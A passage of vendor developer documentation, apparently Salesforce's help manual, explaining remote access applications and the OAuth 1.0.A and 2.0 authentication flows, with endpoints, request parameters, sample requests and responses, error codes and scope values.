laptop and a desktop computer. The default limit is five per application per user. If a user tries to grant access to
an application more than the organization limit, the access token for that application that hasnt been used for the

2164

Develop

Remote Access Application Overview

longest period of time is revoked. Newer applications (using the OAuth 2.0 protocol) are automatically approved
for additional devices after the user has granted access once.

See Also:
Getting Started with Remote Access Applications
Remote Access Applications and OAuth Terminology
Defining Remote Access Applications
Authenticating Remote Access Application OAuth
Managing Your Remote Access Applications
Installing a Package

Remote Access Applications and OAuth Terminology


Available in: All Editions

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

Access Token
A value used by the consumer to gain access to protected resources on behalf of the user, instead of using the users
Salesforce credentials.
For OAuth 1.0.A, the access token must be exchanged for a session ID.
For OAuth 2.0, the access token is a session ID, and can be used directly.
Authorization Code
Only used in OAuth 2.0. A short-lived token that represents the access granted by the end user. The authorization code
is used to obtain an access token and a refresh token. For OAuth 1.0.A, see RequestToken.
Callback URL
A URL associated with your client application. In some contexts this must be a real URL that the clients Web browser
is redirected to. In others, the URL isnt actually used; however, between your client application and the server (the
remote access application definition) the value must be same. For example, you may want to use a value that identifies
the application, such as http://MyCompany.Myapp.
Consumer
A Web site or application that uses OAuth to authenticate both the Salesforce user as well as the application on the
users behalf.
Consumer Key
A value used by the consumer to identify itself to Salesforce. Referred to as client_id in OAuth 2.0.

2165

Develop

Getting Started with Remote Access Applications

Consumer Secret
A secret used by the consumer to establish ownership of the consumer key. Referred to as client_secret in OAuth
2.0.
Nonce
A number, often a random number, used during authentication to ensure that requests cannot be reused.
Refresh Token
Only used in OAuth 2.0. A token used by the consumer to obtain a new access token, without having the end user
approve the access again.
Request Token
A value used by the consumer to obtain authorization from the user, and exchanged for an access token. Request tokens
are only used in OAuth 1.0.A. For OAuth 2.0, see Authorization Code.
Service Provider
A Web application that allows access using OAuth. This is your Salesforce instance after remote access has been enabled.
Token Secret
A secret used by the consumer to establish ownership of a given token, both for request tokens and access tokens.
User
An individual who has a Salesforce login.

See Also:
Remote Access Application Overview

Getting Started with Remote Access Applications


Available in: All Editions
Managed Packages are not available in Database.com

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

Before you start to use remote access applications, you need to consider the following:

The version of the OAuth protocol to use.


The type of application your developer is building. This determines which authentication flow to use.
Whether the application should be packaged.

Once you have made these decisions, you can define your remote access application.

2166

Develop

Getting Started with Remote Access Applications

Choosing a Version of the OAuth Protocol


Salesforce.com recommends that developers use the OAuth 2.0 protocol. OAuth 2.0 places a strong emphasis on developer
simplicity, and you may find it easier to develop and integrate applications.
If you have an existing client or platform that leverages OAuth 1.0.A, it may be less work to use that version than to re-engineer
it to use OAuth 2.0.

Determining Which Authentication Flow to Use


OAuth 1.0.A only supports a single authentication flow. See OAuth 1.0.A Authentication Flow.
OAuth 2.0 supports a number of different application flows. These are dependent on the type of client you are developing.

Web serviceOAuth 2.0 Web Server Authentication Flow


Mobile or desktop application, or JavaScriptOAuth 2.0 User-Agent Flow

Deciding Whether to Package a Remote Access Application


You might be required by an administrator to limit the access your application has to the assets within an organization. You
can write your application using the scope parameter or package your application and use package access controls. Either way
you can easily achieve this level of control.
When defining a remote access application, take the following into consideration when packaging:

Once you add a remote access application to a package, you cannot remove it. The only way to remove a remote access
application from a package is to delete it from your organization.
When you delete a remote access application contained in a managed package, access to that application is immediately
removed from all subscribing organizations. The subscribing organizations do not have to wait until a new version of the
managed package is released.
Even if you change the name of the application, the consumer key and consumer secret are not regenerated.
Note: You cant add remote access applications to unmanaged packages.

See Also:
Remote Access Application Overview
Remote Access Applications and OAuth Terminology
Defining Remote Access Applications

2167

Develop

Defining Remote Access Applications

Defining Remote Access Applications


Available in: All Editions
Managed Packages are not available in Database.com

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

Before you start to use remote access applications, you need to consider the following:

The version of the OAuth protocol to use.


The type of application your developer is building. This determines which authentication flow to use.
Whether the application should be packaged.

For more information, see Getting Started with Remote Access Applications on page 2166.
To define a remote access application:
1. To define a remote access application, click Your Name > Setup > Develop > Remote Access, and click New. To define
a remote access application contained in a managed package, click Your Name > Setup > Create > Packages, click the
name of the managed package, then click New in the Remote Access section.
Important: Once you add a remote access application to a package, you cannot remove it. The only way to remove
a remote access application from a package is to delete it from your organization.
2. Specify the name of the application. This is required. Salesforce.com recommends that the name of the remote access
application match the name of the actual application.
3. Specify the Callback URL, which is required and represents the URL that the user will be returned to after they approve
access for the application. This URL uses HTTPS or another protocol. For OAuth 1.0.A, this value can also be set to
OOB. It cannot use HTTP, except if the callback is to your localhost.
Tip: OAuth 2.0 refers to the callback URL as redirect_uri.

4. If the application has a specific logo, you can specify that using the Logo Image URL. The URL must be secure (use
https). The logo can be a maximum of 200 125 pixels. It is displayed on a white background.
5. Specify your Contact Phone and Contact Email. Contact Email is required.
6. In the Info URL field, you can specify a URL where users can go to get more information about the application. The
URL must use https or http protocol, cant contain spaces, and has a maximum length of 2000 characters.
7. Enter a description of the application. When a user grants access to an application, this description displays.
8. For applications, you can specify No user approval required. This means the application is automatically approved; that
is, the end-user is never asked to approve access. This only works for end-users within your own organization.
9. If youre setting up an application to login using an assertion, check the Public Key Certificate checkbox. You can
then browse to locate and upload the authentication certificate issued by your certificate authority.
10. Click Save.

2168

Develop

Authenticating Remote Access Application OAuth

When you save the remote access definition, the consumer key and consumer secret are automatically generated. The consumer
key and consumer secret are available globally in all Salesforce instances.
Note:

After you save a remote access definition, it may take a few minutes before it becomes available.
Even if you change the name of the application, the consumer key and consumer secret are not regenerated.

See Also:
Remote Access Application Overview
Getting Started with Remote Access Applications
Viewing Remote Access Application Details
Remote Access Applications and OAuth Terminology

Authenticating Remote Access Application OAuth


Available in: All Editions

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

When a user requests their Salesforce data from within the external application (the consumers page), the user must be
authenticated by Salesforce. There are several steps in each authentication flow, as dictated by the OAuth standard and what
is trying to access Salesforce.
Salesforce supports the following authentication flows:

OAuth 1.0.AThis version of OAuth has only one flow.


OAuth 2.0 Web serverThe Web server authentication flow is used by applications that are hosted on a secure server. A
critical aspect of the Web server flow is that the server must be able to protect the consumer secret.
OAuth 2.0 user-agentThe user-agent authentication flow is used by client applications (consumers) residing in the user's
device. This could be implemented in a browser using a scripting language such as JavaScript, or from a mobile device or
a desktop application. These consumers cannot keep the client secret confidential.
OAuth 2.0 refresh token flowAfter the consumer has been authorized for access, they can use a refresh token to get a
new access token (session ID.) This is only done after the consumer already has received an access token using either the
Web server or user-agent flow.
OAuth 2.0 JWT Bearer Token FlowThe OAuth 2.0 JWT bearer token flow defines how a JWT can be used to request
an OAuth access token from Salesforce when a client wishes to utilize a previous authorization. Authentication of the
authorized application is provided by a digital signature applied to the JWT.
OAuth 2.0 SAML Bearer Assertion FlowThe OAuth 2.0 SAML bearer assertion flow defines how a SAML assertion
can be used to request an OAuth access token when a client wishes to utilize a previous authorization. Authentication of
the authorized application is provided by the digital signature applied to the SAML assertion.

2169

Develop

Authenticating Remote Access Application OAuth

SAML assertion flowThe SAML assertion flow is an alternative for organizations that are currently using SAML to
access Salesforce, and want to access the Web services API the same way. The SAML assertion flow can only be used
inside a single organization. You do not have to create a remote access application to use this assertion flow.
OAuth 2.0 username and passwordThe username-password authentication flow can be used to authenticate when the
consumer already has the users credentials.
Caution: This OAuth authentication flow involves passing the users credentials back and forth. Use this
authentication flow only when necessary. No refresh token will be issued.

For all authentication flows, if a user is asked to authorize access and instead clicks the link indicating they are not the currently
signed in user, the current user is logged out and the authorization flow restarts with authenticating the user.

OAuth 2.0 Endpoints


The two primary endpoints used with OAuth 2.0 are:

Authorizationhttps://login.salesforce.com/services/oauth2/authorize
Tokenhttps://login.salesforce.com/services/oauth2/token

To revoke OAuth 2.0 tokens make a request to:


https://login.salesforce.com/services/oauth2/revoke
See Revoking OAuth Tokens on page 2200 for details on revoking access.
For Sandbox Overview, use test.salesforce.com instead of login.salesforce.com.

See Also:
Remote Access Application Overview
Getting Started with Remote Access Applications
OAuth 1.0.A Authentication Flow
OAuth 2.0 Web Server Authentication Flow
OAuth 2.0 User-Agent Flow
OAuth 2.0 Refresh Token Flow
OAuth 2.0 Username-Password Flow
OAuth 2.0 JWT Bearer Token Flow
OAuth 2.0 SAML Bearer Assertion Flow

2170

Develop

Authenticating Remote Access Application OAuth

OAuth 1.0.A Authentication Flow


Available in: All Editions

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

The following diagram displays the authentication flow steps for OAuth 1.0.A. The individual step descriptions follow. OAuth
1.0.A has a single authentication flow.

2171

Develop

Authenticating Remote Access Application OAuth

1.
2.
3.
4.
5.
6.

The consumer requests a RequestToken. Salesforce verifies the request and returns a request token.
The consumer should redirect the user to Salesforce, where they are prompted to log in.
Salesforce authorizes the user.
Once the user is authorized, the consumer requests an AccessToken.
Salesforce verifies the request and grants the token.
After the token is granted, the consumer accesses the data either through their application or through the Force.com Web
services API.
7. Salesforce verifies the request and allows access to the data.
The following sections go into more details about each of these steps.

2172

Develop

Authenticating Remote Access Application OAuth

Tip: To use a remote access application with a Sandbox Overview, use test.salesforce.com instead of
login.salesforce.com in the following sections.
For the list of possible error codes returned by Salesforce, see OAuth 1.0.A Error Codes on page 2176.
Requesting a RequestToken
When a consumer makes an initial request to Salesforce, a RequestToken is returned if the request is valid. The following
steps contain more detail for the developer who is using a remote access application to request Salesforce data.
1. A consumer application needs to access Salesforce data and sends a request to
https://login.salesforce.com/_nc_external/system/security/oauth/RequestTokenHandler. The

request contains the following:

A valid request for a RequestToken, which contains the following OAuth parameters.

oauth_consumer_key
oauth_signature_methodmust be HMAC-SHA1.
oauth_signature
oauth_timestamp
oauth_nonce
oauth_versionoptional, must be 1.0 if included
oauth_callbackmust be one of the following:

URL hosted by the consumer, for example,


https://www.appirio.com/sfdc_accounts/access_token_ready.html. Note that this URL uses

https or another protocol. It cannot use http.


oob, meaning out of band.

A signature created according to the OAuth specification for HMAC-SHA1

2. After Salesforce receives the request, Salesforce:

Validates the request with its own copy of the consumer secret
Generates a response containing RequestToken and RequestTokenSecret in the HTTP body as name/value pairs
Sends the response back to the consumer

A RequestToken is only valid for 15 minutes, plus three minutes to allow for differences between machine clocks.
3. The consumer directs the user to a Salesforce login page, as specified in the next section.
Authorizing the User
After the request from the consumer is made to Salesforce, the user must be authenticated by Salesforce before the process
continues. The following contains more detailed steps about the login procedure for developers who are using a remote access
application to request Salesforce data.
1. The consumer redirects the user to the following location, where they are prompted to log in:
https://login.salesforce.com/setup/secur/RemoteAccessAuthorizationPage.apexp. The appropriate

GET query parameters are appended to this URL.

oauth_token the RequestToken


oauth_consumer_key

2173

Develop

Authenticating Remote Access Application OAuth

Note: If an oauth_callback parameter is included, it is ignored.

2. The Remote Access Authorization page displays.


3. If the user approves access for the consumer, Salesforce generates the AccessToken and AccessTokenSecret.
Note: The number of concurrent access tokens that can be granted by a user to an application is limited. The
default is five per application per user. If this authorization exceeds the limit for the organization, the user is notified
that their authorization automatically revokes the token or tokens for this application that haven't been used for
the longest period of time.
4. Salesforce verifies the callback URL (either specified in the remote access application definition pages or in the
oauth_callback parameter from the previous stage). One of the following redirections occurs.

If the oauth_callback defined in the RequestToken is oob and the Callback URL field in the remote access
application definition page has a valid value, the user is redirected to that URL.
If the oauth_callback defined in the RequestToken is a valid URL, the user is redirected to that URL.

5. The consumer is notified that the AccessToken and AccessTokenSecret are available either by receiving the verification
token from Salesforce or the validation code from the end user.
Requesting the AccessToken
Once the user has been authenticated, the consumer can exchange a RequestToken for an AccessToken. The following contains
more detailed steps regarding the exchange of tokens for developers who are using a remote access application to request
Salesforce data.
1. The consumer makes an HTTPS GET or POST request to
https://login.salesforce.com/_nc_external/system/security/oauth/AccessTokenHandler, with

the required parameters in the query or post data.

oauth_consumer_key
oauth_signature_method
oauth_signature
oauth_timestamp
oauth_token
oauth_nonce
oauth_verifier
oauth_versionoptional, must be 1.0 if included

2. Salesforce validates the following elements.

The consumer secret


The consumer key
The signature
That the RequestToken has never been used before
The timestamp (must be within 15 minutes, plus three minutes to allow for differences between machine clocks)
That the nonce has never used before

3. Upon validation, Salesforce returns the AccessToken and AccessTokenSecret in the HTTP response body as name/value
pairs.

2174

Develop

Authenticating Remote Access Application OAuth

Generating oauth_signature for Login


You can access Salesforce using either the user interface, or using the API. The oauth_signature used for login is generated
differently, depending on which method you use.

User interfaceuse https://login.salesforce.com for generating the signature


APIuse https://login.salesforce.com/services/OAuth/type/api-version for generating the signature.
type must have one of the following values.

uPartner WSDL
cEnterprise WSDL
For example, https://login.salesforce.com/services/OAuth/u/17.0.
Accessing Salesforce Data Using the Consumer Application
Once the consumer possesses a valid AccessToken, a remote access application can request to access Salesforce data. The
following contains more detailed steps regarding accessing data for developers who are using a remote access application to
request Salesforce data.
1. The consumer makes an HTTPS POST request to https://login.salesforce.com, with the required parameters
in the authorization header.

oauth_consumer_key
oauth_token
oauth_signature_method
oauth_signature
oauth_timestamp
oauth_nonce
oauth_version (optional, must be 1.0 if included)

2. Salesforce validates the request and sends a valid session ID to the consumer.
Accessing Salesforce Data Using the API
Once the consumer possesses a valid AccessToken, a remote access application can request to access Salesforce data using the
Force.com Web services API.
Note: Your organization must have access to both the API and to the remote access application. Contact your
salesforce.com representative for more information.
The following contains more detailed steps regarding accessing data for developers who are using a remote access application
to request Salesforce data.
1. The consumer makes an HTTPS POST request to Salesforce.

The URL must have the following format:


https://login.salesforce.com/services/OAuth/type/api-version.
type must have one of the following values.

uPartner WSDL
cEnterprise WSDL
api-version must be a valid API version.

The authorization header must have the following parameters.

2175

Develop

Authenticating Remote Access Application OAuth

oauth_consumer_key
oauth_token
oauth_signature_method
oauth_signature
oauth_timestamp
oauth_nonce
oauth_version (optional, must be 1.0 if included)

2. Salesforce validates the request and sends a valid session ID to the consumer. The response header includes the following.
<response>
<metadataServerUrl>https://na1-api.salesforce.com/services/Soap/m/17.0/00D300000006qjK
</metadataServerUrl>
<sandbox>false</sandbox>
<serverUrl>https://na1-api.salesforce.com/services/Soap/u/17.0/00D300000006qjK
</serverUrl>
<sessionId>00D300000006qrN!AQoAQJTMzwTa67tGgQck1ng_xgMSuWVBpFwZ1xUq2kLjMYg6Zq
GTS8Ezu_C3w0pdT1DMyHiJgB6fbhhEPxKjGqlYnlROIUs1</sessionId>
</response>

See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
Using the Access Token
Using Identity URLs

OAuth 1.0.A Error Codes


Salesforce returns the following error codes during the OAuth 1.0.A Authentication Flow. The returned error code is based
on the error received.
Fault Code Error

Notes

1701

Failed: Nonce Replay Detected

A Nonce can only be used once.

1702

Failed: Missing Consumer Key Parameter

1703

Failed: Invalid Access Token

1704

Failed: Version Not Supported

You must specify 1.0 for the oauth_version


parameter.

1705

Failed: Invalid Timestamp

The timestamp is one of the following: missing, in the


future, too old, or malformed.

1706

Failed: Invalid Nonce

The Nonce is missing.

1707

Failed: Missing OAuth Token Parameter

2176

Develop

Authenticating Remote Access Application OAuth

Fault Code Error

Notes

1708

Failed: IP Address Not Allowed

1709

Failed: Invalid Signature Method

The RequestToken contains an invalid


oauth_signature_method parameter.

1710

Failed: Invalid Callback URL

The RequestToken contains an invalid


oauth_callback parameter. Value must be either
oob or a valid URL that uses https.

1711

Failed: Invalid Verifier

The AccessToken. contains an invalid


oauth_verifier parameter.

1712

Failed: Get Access Token Limit Exceeded

Can only attempt to exchange a RequestToken for an


AccessToken three times.

1713

Failed: Consumer Deleted

The remote access application has been deleted from


the Salesforce organization.

1716

Failed: OAuth Api Access Disabled

Either the Force.com Web services API is not enabled


for the organization, or OAuth API access has been
disabled for the organization.

See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
OAuth 1.0.A Authentication Flow

OAuth 2.0 Web Server Authentication Flow


Available in: All Editions

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

The Web server authentication flow is used by applications that are hosted on a secure server. A critical aspect of the Web
server flow is that the server must be able to protect the consumer secret.
The following diagram displays the authentication flow steps for Web server clients. The individual step descriptions follow.

2177

Develop

Authenticating Remote Access Application OAuth

1.
2.
3.
4.

The Web server redirects the user to Salesforce to authenticate and authorize the server to access data on their behalf.
After the user approves access, the Web server receives a callback with an authorization code.
After obtaining the authorization code, the Web server passes back the authorization code to obtain a token response.
After validating the authorization code, Salesforce passes back a token response. If there was no error, the token response
includes an access code and additional information.
5. After the token is granted, the Web server accesses their data.
After a Web server has an access token, they can use the access token to access Salesforce data on the end users behalf and
use a refresh token to get a new access token if it becomes invalid for any reason.
Redirect User to Obtain Access Authorization
To obtain authorization from the user to access Salesforce data on his or her behalf, the client redirects the users browser to
the authorization endpoint with the following parameters:

response_typeValue must be code for this flow.


client_idConsumer key from the remote access application definition.
scopeThe scope parameter enables you to fine-tune what the client application can access in a Salesforce organization.

See Scope Parameter Values on page 2185 for valid parameters.


redirect_uriURI to redirect the user to after approval. This must match the value in the Callback URL field in
the remote access application definition exactly, or approval fails. This value must be URL encoded.

2178

Develop

Authenticating Remote Access Application OAuth

stateAny state the consumer wants reflected back to it after approval, during the callback. This parameter is optional.

This value must be URL encoded.


immediateDetermines whether the user should be prompted for login and approval. This parameter is optional. The
value must be true or false if specified. Default value is false. Note the following:
If set to true, and if the user is currently logged in and has previously approved the client_id, Salesforce skips the
approval step.
If set to true and the user is not logged in or has not previously approved the client, Salesforce immediately terminates
with the immediate_unsuccessful error code.

displayChanges the login and authorization pages display type. This parameter is optional. The only values Salesforce

supports are:

pageFull-page authorization screen. This is the default value if none is specified.


popupCompact dialog optimized for modern web browser popup windows.
touchmobile-optimized dialog designed for modern smartphones such as Android and iPhone.
mobilemobile optimized dialog designed for less capable smartphones such as BlackBerry OS 5.

promptSpecifies how the authorization server prompts the user for reauthentication and reapproval. This parameter is

optional. The only values Salesforce supports are:


loginThe authorization server must prompt the user for reauthentication, forcing the user to log in again.
consentThe authorization server must prompt the user for reapproval before returning information to the client.
It is valid to pass both values, separated by a space, to require the user to both log in and reauthorize. For example:
?prompt=login%20consent

In order to initiate the flow, the Web server generally forms a link, or sends an HTTP redirect to the browser. The following
is an example of a request to an authorization endpoint from a Web server client:
https://login.salesforce.com/services/oauth2/authorize?response_type=code&client_id=
3MVG9lKcPoNINVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA
9GE&redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fcode_callback.jsp&state=mystate

If the user is logged in, Salesforce redirects them to the approval page. If the user is not logged in, they are asked to log in,
then redirected to the approval page where they grant access to the application. If the user has already approved access once,
they dont have to approve access again.
Web Server Received Callback
Once the user approves the access, they are redirected to the URI specified in redirect_uri with the following values in
the query string:

codeAuthorization code the consumer must use to obtain the access and refresh tokens
stateState that was passed into the approval step. This isnt included if the state parameter wasnt included in the

original query string.


If the user has already approved the access once, they do not have to approve access again.
The following is an example of the request received by the redirect_uri:
https://www.mysite.com/code_callback.jsp?code=aPrxsmIEeqM9&state=mystate

If the user denies the application, they are redirected to the redirect_uri with the following values in the query string:

2179

Develop

Authenticating Remote Access Application OAuth

errorValue is access_denied.
stateState that was passed into the approval step. This isnt included if the state parameter wasnt included in the

original query string.


For example:
https://www.mysite.com/code_callback.jsp?error=access-denied&state=mystate

If the user denies access, or an error occurs during this step, the response contains an error message containing these parts:

errorError code
error_descriptionDescription of the error with additional information.

unsupported_response_typeresponse type not supported


invalid_client_idclient identifier invalid
invalid_requestHTTPS required
invalid_requestmust use HTTP GET
access_deniedend-user denied authorization
redirect_uri_missingredirect_uri not provided
redirect_uri_mismatchredirect_uri mismatch with remote access application definition
immediate_unsuccessfulimmediate unsuccessful
invalid_scoperequested scope is invalid, unknown, or malformed

stateState that was passed into the approval step. This isnt included if the state parameter wasnt included in the

original query string.


Web Server Exchanges Verification Code for Access Token
After obtaining the authorization code, the Web server exchanges the authorization code for an access token.
The consumer should make a POST directly to the token endpoint, with the following parameters:

grant_typeValue must be authorization_code for this flow.


client_idConsumer key from the remote access application definition.
client_secretConsumer secret from the remote access application definition.
redirect_uriURI to redirect the user to after approval. This must match the value in the Callback URL field in

the remote access application definition exactly, and is the same value sent by the initial redirect. See Redirect User to
Obtain Access Authorization on page 2178.
codeAuthorization code obtained from the callback after approval.
formatExpected return format. This parameter is optional. The default is json. Values are:
urlencoded
json
xml

The following is an example of the POST body sent out-of-band:


POST /services/oauth2/token HTTP/1.1
Host: login.salesforce.com
grant_type=authorization_code&code=aPrxsmIEeqM9PiQroGEWx1UiMQd95_5JUZ
VEhsOFhS8EVvbfYBBJli2W5fn3zbo.8hojaNW_1g%3D%3D&client_id=3MVG9lKcPoNI
NVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCs
cA9GE&client_secret=1955279925675241571&
redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fcode_callback.jsp

2180

Develop

Authenticating Remote Access Application OAuth

Instead of using the format parameter, the client can also specify the returned format in an accept-request header using one
of the following:

Accept: application/json
Accept: application/xml
Accept: application/x-www-form-urlencoded

Note the following:

Wildcard accept headers are allowed. */* is accepted and returns JSON.
A list of values is also accepted and is checked left-to-right. For example:

application/xml,application/json,application/html,*/* returns XML.


The format parameter takes precedence over the accept request header.

Salesforce Responds with an Access Token Response


After the request is verified, Salesforce sends a response to the client. The following parameters are in the body of the response:

access_tokenSalesforce session ID that can be used with the Web services API.
refresh_tokenToken that can be used in the future to obtain new access tokens (sessions). This value is a secret.

You should treat it like the users password and use appropriate measures to protect it.
instance_urlURL indicating the instance of the users organization. In this example, the instance is na1:
https://na1.salesforce.com.
idIdentity URL that can be used to both identify the user as well as query for more information about the user. See
Using Identity URLs on page 2202.
signatureBase64-encoded HMAC-SHA256 signature signed with the consumers private key containing the
concatenated ID and issued_at. This can be used to verify the identity URL was not modified since it was sent by the
server.
issued_atWhen the signature was created.

The following is an example response from Salesforce:


{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"issued_at":"1278448101416","refresh_token":"5Aep8614iLM.Dq661ePDmPEgaAW9
Oh_L3JKkDpB4xReb54_pZebnUG0h6Sb4KUVDpNtWEofWM39yg==","instance_url":
"https://na1.salesforce.com","signature":"CMJ4l+CCaPQiKjoOEwEig9H4wqhpuLSk
4J2urAe+fVg=","access_token":"00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0R
NBaT1cyWk7TrqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4"}

If an error occurs during this step, the response contains an error message with these parts:

errorError code
error_descriptionDescription of the error with additional information.

unsupported_response_typeresponse type not supported


invalid_client_idclient identifier invalid
invalid_requestHTTPS required
invalid_requestmust use HTTP POST
invalid_client_credentialsclient secret invalid
invalid_grantinvalid authorization code
invalid_grantIP restricted or invalid login hours
redirect_uri_mismatchredirect_uri not provided
redirect_uri_mismatchredirect_uri mismatch with remote access application definition
inactive_useruser has been set to inactive by the administrator

2181

Develop

Authenticating Remote Access Application OAuth

inactive_orgorganization is locked, closed, or suspended


rate_limit_exceedednumber of login attempts has been exceeded
Any login error not listed receives a generic authentication failure with text describing the error. For example,
LOGIN_ERROR_INVALID_PASSWORD would have the following error response:
{"error":"authentication_failure","error_description":"invalid password"}

See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
OAuth 2.0 Refresh Token Flow
Using the Access Token
Using Identity URLs

OAuth 2.0 User-Agent Flow


Available in: All Editions

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

The user-agent authentication flow is used by client applications (consumers) residing in the user's device. This could be
implemented in a browser using a scripting language such as JavaScript, or from a mobile device or a desktop application.
These consumers cannot keep the client secret confidential. The authentication of the consumer is based on the user-agent's
same-origin policy.
Unlike the other authentication flows, the client application receives the access token in the form of an HTTP redirection.
The client application requests the authorization server to redirect the user-agent to another web server or local resource
accessible to the user-agent, which is capable of extracting the access token from the response and passing it to the client
application. Note that the token response is provided as a hash (#) fragment on the URL. This is for security, and prevents
the token from being passed to the server, as well as to other servers in referral headers.
This user-agent authentication flow doesn't utilize the client secret since the client executables reside on the end-user's computer
or device, which makes the client secret accessible and exploitable.
Caution: Because the access token is encoded into the redirection URI, it might be exposed to the end-user and other
applications residing on the computer or device.
If you are authenticating using JavaScript, call window.location.replace(); to remove the callback from the
browsers history.
The following diagram displays the authentication flow steps for Web server clients. The individual step descriptions follow.

2182

Develop

Authenticating Remote Access Application OAuth

1. The client application directs the user to Salesforce to authenticate and authorize the application.
2. The user must always approve access for this authentication flow. After approving access, the application receives the
callback from Salesforce.
After a consumer has an access token, they can use the access token to access Salesforce data on the end user's behalf and a
refresh token to get a new access token if it becomes invalid for any reason.
The user-agent flow does not support out-of-band posts.
Direct User to Salesforce to Obtain Access Token
To obtain authorization from the user to access Salesforce data on his or her behalf, the client directs the user to the authorization
endpoint with the following parameters:

response_typeValue must be token for this flow.


client_idConsumer key from the remote access application definition.
redirect_uriURI to redirect the user to after approval. This must match the value in the Callback URL field in

the remote access application definition exactly. This value must be URL encoded.
stateAny state the consumer wants reflected back to it after approval, during the callback. This parameter is optional.
scopeThe scope parameter enables you to fine-tune what the client application can access in a Salesforce organization.
See Scope Parameter Values on page 2185 for valid parameters.
displayChanges the login page's display type. This parameter is optional. The only values Salesforce supports are:
pageFull-page authorization screen. This is the default value if none is specified.
popupCompact dialog optimized for modern web browser popup windows.
touchmobile-optimized dialog designed for modern smartphones, such as Android and iPhone.

promptSpecifies how the authorization server prompts the user for reauthentication and reapproval. This parameter is

optional. The only values Salesforce supports are:


loginThe authorization server must prompt the user for reauthentication, forcing the user to log in again.

2183

Develop

Authenticating Remote Access Application OAuth

consentThe authorization server must prompt the user for reapproval before returning information to the client.
It is valid to pass both values, separated by a space, to require the user to both log in and reauthorize. For example:
?prompt=login%20consent

The following is an example URL where the user is directed to:


https://login.salesforce.com/services/oauth2/authorize?response_type=token&
client_id=3MVG9lKcPoNINVBIPJjdw1J9LLJbP_pqwoJYyuisjQhr_LLurNDv7AgQvDTZwCoZuD
ZrXcPCmBv4o.8ds.5iE&redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fuser_callback.jsp&
state=mystate

User Approves Access and Client Receives Callback from Salesforce


The user is asked to log in to Salesforce if they are not already logged in. Then Salesforce displays an approval page, asking
the user to approve the application access. If the user approves the access, they are redirected to the URI specified in
redirect_uri with the following values after the hash sign (#). This is not a query string.

access_tokenSalesforce session ID that can be used with the Web services API.
refresh_tokenToken that can be used in the future to obtain new access tokens (sessions). This value is a secret.

You should treat it like the users password and use appropriate measures to protect it.
Note: The refresh token for the user-agent flow is only issued under one of the following circumstances:
The redirect URL uses a custom protocol.
The redirect URL is exactly https://login.salesforce.com/services/oauth2/success, or on
Sandbox Overview, https://test.salesforce.com/services/oauth2/success.

instance_urlURL indicating the instance of the users organization. In this example, the instance is na1:
https://na1.salesforce.com.
idIdentity URL that can be used to both identify the user as well as query for more information about the user. See

Using Identity URLs on page 2202.


signatureBase64-encoded HMAC-SHA256 signature signed with the consumers private key containing the
concatenated ID and issued_at. This can be used to verify the identity URL was not modified since it was sent by the
server.
issued_atWhen the signature was created.

The following is an example of the callback from the server. Note the response is behind a hash, rather than as HTTP query
parameters:
https://www.mysite.com/user_callback.jsp#access_token=00Dx0000000BV7z%21AR8
AQBM8J_xr9kLqmZIRyQxZgLcM4HVi41aGtW0qW3JCzf5xdTGGGSoVim8FfJkZEqxbjaFbberKGk
8v8AnYrvChG4qJbQo8&refresh_token=5Aep8614iLM.Dq661ePDmPEgaAW9Oh_L3JKkDpB4xR
eb54_pZfVti1dPEk8aimw4Hr9ne7VXXVSIQ%3D%3D&expires_in=7200&state=mystate

If the user denies access or an error occurs during this step, they are redirected to the redirect_uri with an error code and
the description of the error in the URI, after the hash tag (#). This is not a query string.

errorError code
error_descriptionDescription of the error with additional information.

unsupported_response_typeresponse type not supported


invalid_client_idclient identifier invalid
invalid_requestHTTPS required

2184

Develop

Authenticating Remote Access Application OAuth

invalid_requestmust use HTTP GET


invalid_requestout-of-band not supported
access_deniedend-user denied authorization
redirect_uri_missingredirect_uri not provided
redirect_uri_mismatchredirect_uri mismatch with remote access object
immediate_unsuccessfulimmediate unsuccessful
invalid_grantinvalid user credentials
invalid_grantIP restricted or invalid login hours
inactive_useruser is inactive
inactive_orgorganization is locked, closed, or suspended
rate_limit_exceedednumber of logins exceeded
invalid_scoperequested scope is invalid, unknown, or malformed

Any login error not listed receives a generic authentication failure with text describing the error. For example,
LOGIN_ERROR_INVALID_PASSWORD would have the following error response:
{"error":"authentication_failure","error_description":"invalid password"}

stateState that was passed into the approval step. This isnt included if the state parameter wasnt included in the

original query string.


The following is an example error redirect URI:
https://www.mysite.com/user_callback.jsp#error=access_denied&state=mystate

See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
OAuth 2.0 Refresh Token Flow
Using the Access Token
Using Identity URLs

Scope Parameter Values


Available in: All Editions

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

The scope parameter enables you to fine-tune what the client application can access in a Salesforce organization. The valid
values for scope are:

2185

Develop

Authenticating Remote Access Application OAuth

Value

Description

api

Allows access to the current, logged-in users account over the APIs, such as REST API or
Bulk API. This also includes chatter_api, allowing access to Chatter API resources.

chatter_api

Allows access to only the Chatter API resources.

full

Allows access to all data accessible by the logged-in user. full does not return a refresh
token. You must explicitly request the refresh_token scope to get a refresh token.

id

Allows access only to the identity URL service. See Using Identity URLs on page 2202.

refresh_token

Allows a refresh token to be returned if you are eligible to receive one.

visualforce

Allows access to Visualforce pages.

web

